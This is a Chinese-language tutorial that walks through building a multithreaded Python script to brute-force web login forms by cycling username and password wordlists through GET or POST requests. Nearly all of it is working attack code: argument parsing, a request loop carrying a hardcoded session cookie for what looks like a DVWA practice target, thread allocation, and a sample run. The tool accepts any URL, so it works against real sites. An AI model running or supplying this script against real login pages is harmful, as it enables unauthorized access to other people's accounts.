python爆破密码账号

账号密码爆破

大致流程

graph TD
st[程序开始执行] --> op(程序各项参数说明)
op --> op1(requests编写一个扫描模块) 
op1 --> op2(对读取到的密码分配给指定的线程 注意向上取整)
op2 --> op3(读取name,调用多线程模块实现多线程)
op3 --> op4[程序结束]

根据程序需要选用optparse来实现程序对于参数的接受和程序--help功能的实现, math模块实现多线程的时候程序向上取整, 使password全部被分配到线程里面, 调用requests实现post和get类型的请求, threading模块实现多线程功能.

1. 导入相应的模块

   import optparse
   import math
   import threading
   import requests
   

2. 程序说明(--help信息)

   parser = optparse.OptionParser()
   parser.usage = "web_burte_command.py -u url -n user_file -p pass_file -t num"
   parser.add_option("-u", "--site", dest = "website", help = "website to test", action = "store", type = "string", metavar = "URL")
   parser.add_option("-n", "--namefile", dest = "namefile", help = "name from file", action = "store", type = "string", metavar = "NAMEFILE")
   parser.add_option("-p", "--passfile", dest = "passfile", help = "pass from file", action = "store", type = "string", metavar = "PASSFILE")
   parser.add_option("-t", "--threads", dest = "threads", help = "num of threads", action = "store", type = "string", metavar = "THREAD")
   (options, args) = parser.parse_args()
   
   
   ths = int(options.threads)
   pass_dic = options.passfile
   user_dic = options.namefile
   site = options.website
   

3. requests实现扫描模块(注意爆破的时候是get类型还是post类型)

   def scan(payload):
       user = payload["username"]
       threads_pass_list = payload["pass_list"]
       for password in threads_pass_list:
           # r = requests.post(url = site, data = {"username":user, "password":password.strip(), "submit":"submit"}) # 根据实际情况修改相应的参数
           r = requests.get(url = site, params = {"username":user, "password":password.strip(), "Login":"Login"}, headers = {"Cookie":"security=high; security=high; PHPSESSID=lip25ut7pltp2nkjrgd68l9fq5"})
           print (str(len(r.text)) + "username: "+user+" ; "+"password : "+password + "\n")
   

4. password分配到每个线程里面

   # 新建一个密码字典列表 [[],[],[]]
   pass_list = []
   result_num = 0 # 每个线程要读取的行数
   # 根据线程数确定每一项当中的行数，一个线程读取多少行密码
   # 第一步：确定pass的行数
   with open(pass_dic, "r") as f:
       temp_list = f.readlines()
       temp_thread_list = []
       num = len(temp_list)
       # 根据临时列表的项数除以线程数 得到每一线程中的项数
       result = num / ths
       # 第三步获取向上取整的行数math.ceil(num / ths)
       # if num % ths == 0:
       #     result = num / ths
       # else:
       result = math.ceil(num / ths)
       result_num = result
       flag = 0
       for line in temp_list:
           flag += 1
           temp_thread_list.append(line.strip()) # 去除换行
           if flag == result_num:
               flag = 0
               pass_list.append(temp_thread_list)
               temp_thread_list = []
       pass_list.append(temp_thread_list)
   

5. 读取name文件并且开启多线程功能

   # payload - > pass_list 结合用户名字典来进行确定
   # 使用线程列表
   ths_list = []
   with open(user_dic, "r") as f:
       user_list = f.readlines()
       for user in user_list:
           for pass_line in pass_list:
               payload = {"username":user.strip(), "pass_list":pass_line}
               ths_list.append(threading.Thread(target = scan, args = (payload, )))
   for th in ths_list:
       th.start()
   

6. 程序试运行

   pig@deep:~/Desktop/web_pass_burte$ ls
   name.txt  pass.txt  web_burte_command.py
   pig@deep:~/Desktop/web_pass_burte$ python3 web_burte_command.py --help
   Usage: web_burte_command.py -u url -n user_file -p pass_file -t num
   
   Options:
     -h, --help            show this help message and exit
     -u URL, --site=URL    website to test
     -n NAMEFILE, --namefile=NAMEFILE
                           name from file
     -p PASSFILE, --passfile=PASSFILE
                           pass from file
     -t THREAD, --threads=THREAD
                           num of threads
   pig@deep:~/Desktop/web_pass_burte$
   

pass.txt
name.txt

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